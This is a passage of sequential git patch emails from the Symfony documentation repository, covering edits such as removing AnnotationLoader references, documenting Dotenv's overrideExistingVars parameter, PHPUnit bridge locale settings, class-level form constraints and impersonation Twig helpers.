-                        $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
-
-                        // prevents Doctrine entities to be detached
-                        $container->getDefinition('doctrine')->clearTag('kernel.reset');
-
-                        // ...
-                    }
-                });
+                // prevents the security token to be cleared
+                $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
+
+                // prevents Doctrine entities to be detached
+                $container->getDefinition('doctrine')->clearTag('kernel.reset');
+
+                // ...
             }
         }
     }

From 4fd16133498febb9cf9dfb8d2550bcb566f5fc08 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Oct 2023 11:23:29 +0200
Subject: [PATCH 3983/5766] [PropertyInfo][Serializer] Remove
 `AnnotationLoader`

---
 _build/redirection_map       |  1 +
 components/property_info.rst | 14 --------------
 components/serializer.rst    | 24 ------------------------
 3 files changed, 1 insertion(+), 38 deletions(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 90303a53d75..3b845d59ffe 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -526,6 +526,7 @@
 /components https://symfony.com/components
 /components/index https://symfony.com/components
 /serializer/normalizers /components/serializer#normalizers
+/components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
 /components/inflector /components/string#inflector
diff --git a/components/property_info.rst b/components/property_info.rst
index 0e8a4671d81..452966f57d5 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -468,20 +468,6 @@ with the ``property_info`` service in the Symfony Framework::
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
 
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4. Prior to this, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    must be used.
-
-.. deprecated:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    was deprecated in Symfony 6.4.
-
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``#[Ignore]`` attribute is taken into account).
diff --git a/components/serializer.rst b/components/serializer.rst
index 9282cfec115..ba2c4a45a4d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -271,14 +271,6 @@ that will be used by the normalizer must be aware of the format to use.
 The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 for each format:
 
-* Annotations in PHP files::
-
-    use Doctrine\Common\Annotations\AnnotationReader;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
-
 * Attributes in PHP files::
 
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
@@ -300,22 +292,6 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4. Prior to this, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    must be used.
-
-.. deprecated:: 6.4
-
-    Reading annotations in PHP files is deprecated since Symfony 6.4.
-    Also, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    was deprecated in Symfony 6.4.
-
-.. _component-serializer-attributes-groups-annotations:
 .. _component-serializer-attributes-groups-attributes:
 
 Then, create your groups definition:

From d094c5dde8f4a242427af395a357fc680814d103 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 13:15:23 +0200
Subject: [PATCH 3984/5766] -

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 8424f980f7e..ac4fafdd47d 100644
--- a/README.md
+++ b/README.md
@@ -27,7 +27,7 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 **Important**: use `5.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.2).
+documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
 
 Build Documentation Locally
 ---------------------------

From a24e26567d7b019a46b140af8f2e811839bd1bcf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 13:20:23 +0200
Subject: [PATCH 3985/5766] -

---
 README.md | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index ac4fafdd47d..17b6ea8ac74 100644
--- a/README.md
+++ b/README.md
@@ -26,8 +26,9 @@ Contributing
 We love contributors! For more information on how you can contribute, please read
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
-**Important**: use `5.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
+> [!IMPORTANT]
+> Use `5.4` branch as the base of your pull requests, unless you are documenting a
+> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
 
 Build Documentation Locally
 ---------------------------

From 88203b158e388b43b94501b841bdb07e83e373d6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Oct 2023 15:31:02 +0200
Subject: [PATCH 3986/5766] [DotEnv] Mention the `overrideExistingVars`
 parameter of `DotEnv`

---
 configuration.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 35417a8dfee..dd1b6f3e472 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -872,6 +872,27 @@ the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.loca
 **should not be committed** because only you will use them. In fact, the
 ``.gitignore`` file that comes with Symfony prevents them from being committed.
 
+Overriding Environment Values Defined By The System
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You may need to override an environment value defined by the system. This can
+be done thanks to the :class:`Symfony\\Component\\Dotenv\\Dotenv` class. The
+:method:`Symfony\\Component\\Dotenv\\Dotenv::loadEnv`,
+:method:`Symfony\\Component\\Dotenv\\Dotenv::bootEnv`, and
+:method:`Symfony\\Component\\Dotenv\\Dotenv::populate` methods accept an optional
+``overrideExistingVars`` parameter that allows you to override existing environment
+variables set by the system::
+
+    use Symfony\Component\Dotenv\Dotenv;
+
+    $dotenv = new Dotenv();
+    $dotenv->loadEnv(__DIR__.'/.env', null, 'dev', ['test'], true);
+
+    // ...
+
+This will override environment variables defined by the system
+and **won't** override environment variables defined in ``.env`` files.
+
 .. _configuration-env-var-in-prod:
 
 Configuring Environment Variables in Production

From ab4e69fc6ee6771e32587f1f00309a1ccf68cb0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Oct 2023 13:19:37 +0200
Subject: [PATCH 3987/5766] Tweaks

---
 configuration.rst | 16 +++++++---------
 1 file changed, 7 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index dd1b6f3e472..e34e32aeb04 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -872,16 +872,14 @@ the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.loca
 **should not be committed** because only you will use them. In fact, the
 ``.gitignore`` file that comes with Symfony prevents them from being committed.
 
-Overriding Environment Values Defined By The System
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Overriding Environment Variables Defined By The System
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You may need to override an environment value defined by the system. This can
-be done thanks to the :class:`Symfony\\Component\\Dotenv\\Dotenv` class. The
+If you need to override an environment variable defined by the system, use the
+``overrideExistingVars`` parameter defined by the
 :method:`Symfony\\Component\\Dotenv\\Dotenv::loadEnv`,
 :method:`Symfony\\Component\\Dotenv\\Dotenv::bootEnv`, and
-:method:`Symfony\\Component\\Dotenv\\Dotenv::populate` methods accept an optional
-``overrideExistingVars`` parameter that allows you to override existing environment
-variables set by the system::
+:method:`Symfony\\Component\\Dotenv\\Dotenv::populate` methods::
 
     use Symfony\Component\Dotenv\Dotenv;
 
@@ -890,8 +888,8 @@ variables set by the system::
 
     // ...
 
-This will override environment variables defined by the system
-and **won't** override environment variables defined in ``.env`` files.
+This will override environment variables defined by the system but it **won't**
+override environment variables defined in ``.env`` files.
 
 .. _configuration-env-var-in-prod:
 

From 3b186821c8158adef48360074309b3baaf4c74cf Mon Sep 17 00:00:00 2001
From: Florian CAVASIN <cavasinf.info@gmail.com>
Date: Thu, 19 Oct 2023 18:17:21 +0200
Subject: [PATCH 3988/5766] [Validator] Add "Translatable Objects" example

---
 validation/translations.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/validation/translations.rst b/validation/translations.rst
index 5826ae906ca..5b37fb30aca 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -123,6 +123,29 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 You may need to clear your cache (even in the dev environment) after creating
 this file for the first time.
 
+You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` to build your violation message::
+
+    use Symfony\Component\Translation\TranslatableMessage;
+    use Symfony\Component\Validator\Constraints as Assert;
+    use Symfony\Component\Validator\Context\ExecutionContextInterface;
+    
+    #[Assert\Callback]
+    public function validate(ExecutionContextInterface $context, mixed $payload): void
+    {
+        // somehow you have an array of "fake names"
+        $fakeNames = [/* ... */];
+    
+        // check if the name is actually a fake name
+        if (in_array($this->getFirstName(), $fakeNames, true)) {
+            $context->buildViolation(new TranslatableMessage('author.name.fake', [], 'validators'))
+                ->atPath('firstName')
+                ->addViolation()
+            ;
+        }
+    }
+
+You can learn more about translatable messages in :ref:`the dedicated section <translatable-objects>`.
+
 Custom Translation Domain
 -------------------------
 

From 892359ded077a2f2165aee063093ebad3881f3d6 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 26 Oct 2023 08:29:33 +0200
Subject: [PATCH 3989/5766] Fix grammar typo

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index e867f33a472..05a172cfa0f 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -196,7 +196,7 @@ It's difficult to manipulate or inspect the expressions created with the Express
 component, because the expressions are plain strings. A better approach is to
 turn those expressions into an AST. In computer science, `AST`_ (*Abstract
 Syntax Tree*) is *"a tree representation of the structure of source code written
-in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
+in a programming language"*. In Symfony, an ExpressionLanguage AST is a set of
 nodes that contain PHP classes representing the given expression.
 
 Dumping the AST

From 011fd3336f761d98ea4d927a4336020b2a908c45 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 26 Oct 2023 10:10:38 +0200
Subject: [PATCH 3990/5766] [DotEnv] Use named parameter

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 947a3dc88e2..87ba50a2c9b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -897,7 +897,7 @@ If you need to override an environment variable defined by the system, use the
     use Symfony\Component\Dotenv\Dotenv;
 
     $dotenv = new Dotenv();
-    $dotenv->loadEnv(__DIR__.'/.env', null, 'dev', ['test'], true);
+    $dotenv->loadEnv(__DIR__.'/.env', overrideExistingVars: true);
 
     // ...
 

From 775402dbb9adb941604505dbaf694d3be2ebea35 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 27 Oct 2023 10:25:04 +0200
Subject: [PATCH 3991/5766] fix RateLimiter component name

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 5a44ca2122b..105c7d37561 100644
--- a/security.rst
+++ b/security.rst
@@ -1459,7 +1459,7 @@ Then, enable this feature using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
-The Rate Limiter component uses by default the Symfony cache to store the previous
+The RateLimiter component uses by default the Symfony cache to store the previous
 login attempts. However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
 
 Login attempts are limited on ``max_attempts`` (default: 5)

From bdfd00af2c801da03a8fbf479ac01db9c8e999e4 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 27 Oct 2023 10:52:12 +0200
Subject: [PATCH 3992/5766] fix typo

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 0e8cd614598..a0005f61ee8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -747,7 +747,7 @@ but ``$comment`` is configured with the attribute since they cannot both follow
 the default convention.
 
 If you need to get other information from the request to query the database, you
-can also access to the request in your expression thanks to the ``request``
+can also access the request in your expression thanks to the ``request``
 variable. Let's say you pass the page limit of a list in a query parameter::
 
     #[Route('/product/{id}/comments')]

From 5903c0eda95b5a8d7d0d51e987d16dd633c90dc3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 27 Oct 2023 11:15:07 +0200
Subject: [PATCH 3993/5766] fix typo

---
 components/console/helpers/formatterhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 061b7616c8d..2b167fd302e 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -135,4 +135,4 @@ precision (default ``1``) of the result::
 
 .. versionadded:: 6.4
 
-    The support for exact times were introduced in Symfony 6.4.
+    The support for exact times was introduced in Symfony 6.4.

From 5be90aa61b4b2ecf6c5270939bf5cf9e2cc60637 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 27 Oct 2023 10:38:49 +0200
Subject: [PATCH 3994/5766] [PhpUnitBridge] Allow setting the locale using
 `SYMFONY_PHPUNIT_LOCALE` env var

---
 components/phpunit_bridge.rst | 39 +++++++++++++++++++++++++++++++++--
 1 file changed, 37 insertions(+), 2 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bfa69893bb9..e387510c69b 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -7,8 +7,8 @@ The PHPUnit Bridge
 
 It comes with the following features:
 
-* Forces the tests to use a consistent locale (``C``) (if you create
-  locale-sensitive tests, use PHPUnit's ``setLocale()`` method);
+* Sets by default a consistent locale (``C``) for your tests (if you
+  create locale-sensitive tests, use PHPUnit's ``setLocale()`` method);
 
 * Auto-register ``class_exists`` to load Doctrine annotations (when used);
 
@@ -402,6 +402,41 @@ Log Deprecations
 For turning the verbose output off and write it to a log file instead you can use
 ``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
 
+Setting The Locale For Tests
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the PHPUnit Bridge forces the locale to ``C`` to avoid locale
+issues in tests. This behavior can be changed by setting the
+``SYMFONY_PHPUNIT_LOCALE`` environment variable to the desired locale:
+
+.. code-block:: bash
+
+    # .env.test
+    SYMFONY_PHPUNIT_LOCALE="fr_FR"
+
+Alternatively, you can set this environment variable in the PHPUnit
+configuration file:
+
+.. code-block:: xml
+
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
+    >
+
+        <!-- ... -->
+
+        <php>
+            <!-- ... -->
+            <env name="SYMFONY_PHPUNIT_LOCALE" value="fr_FR"/>
+        </php>
+    </phpunit>
+
+.. versionadded:: 6.4
+
+    The support for the ``SYMFONY_PHPUNIT_LOCALE`` environment variable was
+    introduced in Symfony 6.4.
+
 .. _write-assertions-about-deprecations:
 
 Write Assertions about Deprecations

From fcfc6bd38083e5a7bf2e5cd1baf481182bcc62b6 Mon Sep 17 00:00:00 2001
From: Bredillet Thomas <thoma39@msn.com>
Date: Fri, 27 Oct 2023 17:07:42 +0200
Subject: [PATCH 3995/5766] Use Route attribute instead annotations

Use Route attribute instead annotations available since 5.2
---
 notifier.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7ee3900e350..1b3a640809c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -179,9 +179,7 @@ send SMS messages::
 
     class SecurityController
     {
-        /**
-         * @Route("/login/success")
-         */
+        #[Route('/login/success')
         public function loginSuccess(TexterInterface $texter)
         {
             $sms = new SmsMessage(

From e0efe0a25acb57960ea96d14f4071f849fefa6cf Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 28 Oct 2023 12:18:27 +0200
Subject: [PATCH 3996/5766] fix the time formatting example

---
 components/console/helpers/formatterhelper.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 2b167fd302e..0f78abee8d0 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -121,17 +121,17 @@ If you don't want to use suffix at all, pass an empty string::
     // because length of the "test..." string is shorter than 10
 
 Formatting Time
-~~~~~~~~~~~~~~~
+---------------
 
 Sometimes you want to format seconds to time. This is possible with the
-:method:`Symfony\\Component\\Console\\Helper\\FormatterHelper::formatTime` method.
+:method:`Symfony\\Component\\Console\\Helper\\Helper::formatTime` method.
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    $formatter->truncate(42);        // 42 secs
-    $formatter->truncate(125);       // 2 mins
-    $formatter->truncate(125, 2);    // 2 mins, 5 secs
-    $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    Helper::formatTime(42);        // 42 secs
+    Helper::formatTime(125);       // 2 mins
+    Helper::formatTime(125, 2);    // 2 mins, 5 secs
+    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
 
 .. versionadded:: 6.4
 

From 51a5af7106f79857b64587c25f2c460393ff4711 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 28 Oct 2023 12:33:47 +0200
Subject: [PATCH 3997/5766] fix attribute syntax

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1b3a640809c..ae1ac4ab740 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -179,7 +179,7 @@ send SMS messages::
 
     class SecurityController
     {
-        #[Route('/login/success')
+        #[Route('/login/success')]
         public function loginSuccess(TexterInterface $texter)
         {
             $sms = new SmsMessage(

From 8510eb4be782212c1be9652f7b1c2c0a21aa3e9f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 28 Oct 2023 12:38:55 +0200
Subject: [PATCH 3998/5766] remove versionadded directive for Symfony 6.4

---
 components/phpunit_bridge.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 44e7d40bb69..f1c81a5769e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -428,11 +428,6 @@ configuration file:
         </php>
     </phpunit>
 
-.. versionadded:: 6.4
-
-    The support for the ``SYMFONY_PHPUNIT_LOCALE`` environment variable was
-    introduced in Symfony 6.4.
-
 .. _write-assertions-about-deprecations:
 
 Write Assertions about Deprecations

From 4658deb7db1e1d3f9f372667af2db28424239b39 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Fri, 27 Oct 2023 22:43:08 -0300
Subject: [PATCH 3999/5766] Fix wording at `property_access.rst`

---
 components/property_access.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 68bf5fc9e97..f19aff6111b 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -406,20 +406,21 @@ Using non-standard adder/remover methods
 Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`` prefix, like in this example::
 
     // ...
-    class PeopleList
+    class Team
     {
         // ...
 
-        public function joinPeople(string $people): void
+        public function joinTeam(string $person): void
         {
-            $this->peoples[] = $people;
+            $this->team[] = $person;
         }
 
-        public function leavePeople(string $people): void
+        public function leaveTeam(string $person): void
         {
-            foreach ($this->peoples as $id => $item) {
-                if ($people === $item) {
-                    unset($this->peoples[$id]);
+            foreach ($this->team as $id => $item) {
+                if ($person === $item) {
+                    unset($this->team[$id]);
+
                     break;
                 }
             }
@@ -429,12 +430,12 @@ Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`
     use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
     use Symfony\Component\PropertyAccess\PropertyAccessor;
 
-    $list = new PeopleList();
+    $list = new Team();
     $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
     $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, PropertyAccessor::THROW_ON_INVALID_PROPERTY_PATH, null, $reflectionExtractor, $reflectionExtractor);
-    $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
+    $propertyAccessor->setValue($person, 'team', ['kevin', 'wouter']);
 
-    var_dump($person->getPeoples()); // ['kevin', 'wouter']
+    var_dump($person->getTeam()); // ['kevin', 'wouter']
 
 Instead of calling ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``, the PropertyAccess
 component will call ``join<SingularOfThePropertyName>()`` and ``leave<SingularOfThePropertyName>()`` methods.

From 8bccba69e11fe4ebd90852e9b3327300652e0684 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Wed, 23 Aug 2023 12:49:58 +0200
Subject: [PATCH 4000/5766] [configuration]: remove php<8 section, remove flex
 reference

- symfony 6.x requires php > 8 so configuration section for pre 8 is irrelevant
- `dotenv:dump` has been implemented in 5.4 and reference to flex is no longer relevant https://github.com/symfony/symfony/commit/234c0b300d13f43abe871d99943e779e1b4051f6
---
 configuration.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 87ba50a2c9b..413e92bddb0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -927,17 +927,6 @@ To improve performance, you can optionally run the ``dump-env`` Composer command
     1.2 or later). The command is not registered by default, so you must register
     first in your services:
 
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            Symfony\Component\Dotenv\Command\DotenvDumpCommand:
-                - '%kernel.project_dir%/.env'
-                - '%kernel.environment%'
-
-    In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
-    (which is the default):
-
     .. code-block:: yaml
 
         # config/services.yaml

From 93ab432ec8d0cfba3b7009659acaccef616cff2a Mon Sep 17 00:00:00 2001
From: Benjamin Morel <benjamin.morel@gmail.com>
Date: Sun, 29 Oct 2023 15:52:18 +0100
Subject: [PATCH 4001/5766] Use str_starts_with() in OptionsResolver examples

---
 components/options_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 46b0ee6d542..fe3ef6f12fa 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -413,7 +413,7 @@ option. You can configure a normalizer by calling
             // ...
 
             $resolver->setNormalizer('host', function (Options $options, string $value): string {
-                if ('http://' !== substr($value, 0, 7)) {
+                if (!str_starts_with($value, 'http://')) {
                     $value = 'http://'.$value;
                 }
 
@@ -434,7 +434,7 @@ if you need to use other options during normalization::
         {
             // ...
             $resolver->setNormalizer('host', function (Options $options, string $value): string {
-                if ('http://' !== substr($value, 0, 7) && 'https://' !== substr($value, 0, 8)) {
+                if (!str_starts_with($value, 'http://') && !str_starts_with($value, 'https://')) {
                     if ('ssl' === $options['encryption']) {
                         $value = 'https://'.$value;
                     } else {

From e2cefae59ec271b4e9165de1db80800d9aee574e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 28 Oct 2023 14:37:33 +0200
Subject: [PATCH 4002/5766] [Form] Document "class constraints" for data
 class-less forms

---
 form/without_class.rst | 57 +++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 56 insertions(+), 1 deletion(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index d0a44ed6205..b2ebdcc5482 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -80,7 +80,10 @@ But if the form is not mapped to an object and you instead want to retrieve an
 array of your submitted data, how can you add constraints to the data of
 your form?
 
-The answer is to set up the constraints yourself, and attach them to the individual
+Constraints At Field Level
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+One possibility is to set up the constraints yourself, and attach them to the individual
 fields. The overall approach is covered a bit more in :doc:`this validation article </validation/raw_values>`,
 but here's a short example::
 
@@ -123,3 +126,55 @@ but here's a short example::
     When a form is only partially submitted (for example, in an HTTP PATCH
     request), only the constraints from the submitted form fields will be
     evaluated.
+
+Constraints At Class Level
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Another possibility is to add the constraints at the class level.
+This can be done by setting the ``constraints`` option in the
+``configureOptions()`` method::
+
+    use Symfony\Component\Form\Extension\Core\Type\TextType;
+    use Symfony\Component\Form\FormBuilderInterface;
+    use Symfony\Component\OptionsResolver\OptionsResolver;
+    use Symfony\Component\Validator\Constraints\Length;
+    use Symfony\Component\Validator\Constraints\NotBlank;
+
+    public function buildForm(FormBuilderInterface $builder, array $options): void
+    {
+        $builder
+            ->add('firstName', TextType::class)
+            ->add('lastName', TextType::class);
+    }
+
+    public function configureOptions(OptionsResolver $resolver): void
+    {
+        $constraints = [
+            'firstName' => new Length(['min' => 3]),
+            'lastName' => [
+                new NotBlank(),
+                new Length(['min' => 3]),
+            ],
+        ];
+
+        $resolver->setDefaults([
+            'data_class' => null,
+            'constraints' => $constraints,
+        ]);
+    }
+
+This means you can also do this when using the ``createFormBuilder()`` method
+in your controller::
+
+    $form = $this->createFormBuilder($defaultData, [
+            'constraints' => [
+                'firstName' => new Length(['min' => 3]),
+                'lastName' => [
+                    new NotBlank(),
+                    new Length(['min' => 3]),
+                ],
+            ],
+        ])
+        ->add('firstName', TextType::class)
+        ->add('lastName', TextType::class)
+        ->getForm();

From 226b0ed7d12a7158bdedfb91d8a51f159639246d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 29 Oct 2023 20:36:54 +0100
Subject: [PATCH 4003/5766] [PHPUnitBridge] Add a note to disable the locale
 forcing by the bridge

---
 components/phpunit_bridge.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e387510c69b..69c9993e603 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -432,6 +432,9 @@ configuration file:
         </php>
     </phpunit>
 
+Finally, if you want to avoid the bridge to force any locale, you can set the
+``SYMFONY_PHPUNIT_LOCALE`` environment variable to ``0``.
+
 .. versionadded:: 6.4
 
     The support for the ``SYMFONY_PHPUNIT_LOCALE`` environment variable was

From 5c04c6be11998435ededd740bb5a093acdde806b Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 30 Oct 2023 08:20:59 +0100
Subject: [PATCH 4004/5766] Document twig functions on impersonation

---
 security/impersonating_user.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index b801b5570c1..de3e9129b6f 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -70,6 +70,14 @@ as the value to the current URL:
 
     http://example.com/somewhere?_switch_user=thomas
 
+.. tip::
+
+    You can leverage the Twig function ``impersonation_path('thomas')``
+
+    .. versionadded:: 6.4
+
+        The ``impersonation_path()`` function was introduced in Symfony 6.4.
+
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass
@@ -128,6 +136,10 @@ To switch back to the original user, use the special ``_exit`` username:
 
     http://example.com/somewhere?_switch_user=_exit
 
+.. tip::
+
+    You can leverage the Twig function ``impersonation_exit_path('/somewhere')``
+
 This feature is only available to users with a special role called ``ROLE_ALLOWED_TO_SWITCH``.
 Using :ref:`role_hierarchy <security-role-hierarchy>` is a great way to give this
 role to the users that need it.

From 2a70cd2819f8a089702cd74b017635fee5de6932 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Oct 2023 10:58:07 +0100
Subject: [PATCH 4005/5766] -

---
 security/impersonating_user.rst | 4 ----
